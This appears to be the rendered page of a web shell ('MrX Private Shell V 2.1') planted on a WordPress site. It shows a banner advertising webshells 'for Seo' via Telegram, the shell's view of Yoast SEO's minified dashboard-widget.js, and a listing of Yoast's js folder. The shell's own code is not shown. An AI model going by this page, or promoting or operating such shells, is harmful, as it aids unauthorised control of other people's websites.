__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
(()=>{"use strict";const e=window.React,t=window.wp.element,s=window.yoast.componentsNew,o=window.yoast.styleGuide,i=window.yoast.analysisReport,a=window.yoast.helpers;class r extends t.Component{constructor(){super(),this.state={statistics:null,feed:null,isDataFetched:!1}}componentDidMount(){const e=jQuery("#wpseo-dashboard-overview-hide");e.is(":checked")&&this.fetchData(),e.on("click",(()=>{this.fetchData()}))}fetchData(){this.state.isDataFetched||(this.getStatistics(),this.getFeed(),this.setState({isDataFetched:!0}))}static getColorFromScore(e){return o.colors[`$color_${e}`]||o.colors.$color_grey}getStatistics(){wpseoApi.get("statistics",(e=>{const t={};e&&e.seo_scores&&(t.seoScores=e.seo_scores.map((e=>({value:parseInt(e.count,10),color:r.getColorFromScore(e.seo_rank),html:`<a href="${e.link}">${e.label}</a>`}))),t.header=jQuery(`<div>${e.header}</div>`).text(),this.setState({statistics:t}))}))}getFeed(){(0,a.getPostFeed)("https://yoast.com/feed/widget/?wp_version="+wpseoDashboardWidgetL10n.wp_version+"&php_version="+wpseoDashboardWidgetL10n.php_version,2).then((e=>{e.items=e.items.map((e=>(e.description=jQuery(`<div>${e.description}</div>`).text(),e.description=e.description.replace(`The post ${e.title} appeared first on Yoast.`,"").trim(),e))),this.setState({feed:e})})).catch((e=>console.log(e)))}getSeoAssessment(){return null===this.state.statistics?null:(0,e.createElement)(i.SiteSEOReport,{key:"yoast-seo-posts-assessment",seoAssessmentText:this.state.statistics.header,seoAssessmentItems:this.state.statistics.seoScores})}getYoastFeed(){return null===this.state.feed?null:(0,e.createElement)(s.ArticleList,{className:"wordpress-feed",key:"yoast-seo-blog-feed",title:wpseoDashboardWidgetL10n.feed_header,feed:this.state.feed,footerLinkText:wpseoDashboardWidgetL10n.feed_footer})}render(){const t=[this.getSeoAssessment(),this.getYoastFeed()].filter((e=>null!==e));return 0===t.length?null:(0,e.createElement)("div",null,t)}}const n=document.getElementById("yoast-seo-dashboard-widget");n&&(0,t.render)((0,e.createElement)(r,null),n)})();| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| externals | Folder | 0775 |
|
|
| languages | Folder | 0775 |
|
|
| academy.js | File | 16.2 KB | 0775 |
|
| addon-installation.js | File | 4.04 KB | 0775 |
|
| admin-global.js | File | 5.35 KB | 0775 |
|
| admin-modules.js | File | 29.25 KB | 0775 |
|
| analysis-worker.js | File | 617 B | 0775 |
|
| api-client.js | File | 579 B | 0775 |
|
| block-editor.js | File | 230.04 KB | 0775 |
|
| bulk-editor.js | File | 2.5 KB | 0775 |
|
| classic-editor.js | File | 176.62 KB | 0775 |
|
| crawl-settings.js | File | 575 B | 0775 |
|
| dashboard-widget.js | File | 2.02 KB | 0775 |
|
| dynamic-blocks.js | File | 1.02 KB | 0775 |
|
| edit-page.js | File | 547 B | 0775 |
|
| editor-modules.js | File | 81.4 KB | 0775 |
|
| elementor.js | File | 232.52 KB | 0775 |
|
| externals-components.js | File | 75.31 KB | 0775 |
|
| externals-contexts.js | File | 814 B | 0775 |
|
| externals-redux.js | File | 54.81 KB | 0775 |
|
| faq-block.js | File | 9.91 KB | 0775 |
|
| filter-explanation.js | File | 200 B | 0775 |
|
| frontend-inspector-resources.js | File | 3.82 KB | 0775 |
|
| general-page.js | File | 344.85 KB | 0775 |
|
| help-scout-beacon.js | File | 4.87 KB | 0775 |
|
| how-to-block.js | File | 19.36 KB | 0775 |
|
| import.js | File | 5.76 KB | 0775 |
|
| indexation.js | File | 7.19 KB | 0775 |
|
| installation-success.js | File | 5.21 KB | 0775 |
|
| integrations-page.js | File | 172.44 KB | 0775 |
|
| introductions.js | File | 32.37 KB | 0775 |
|
| network-admin.js | File | 2.27 KB | 0775 |
|
| new-settings.js | File | 416.35 KB | 0775 |
|
| post-edit.js | File | 129.45 KB | 0775 |
|
| quick-edit-handler.js | File | 957 B | 0775 |
|
| react-select.js | File | 91.36 KB | 0775 |
|
| redirect-old-features-tab.js | File | 237 B | 0775 |
|
| reindex-links.js | File | 2.72 KB | 0775 |
|
| settings.js | File | 19.06 KB | 0775 |
|
| support.js | File | 41.28 KB | 0775 |
|
| term-edit.js | File | 86.9 KB | 0775 |
|
| used-keywords-assessment.js | File | 782 B | 0775 |
|
| wincher-dashboard-widget.js | File | 28.66 KB | 0775 |
|
| workouts.js | File | 38.5 KB | 0775 |
|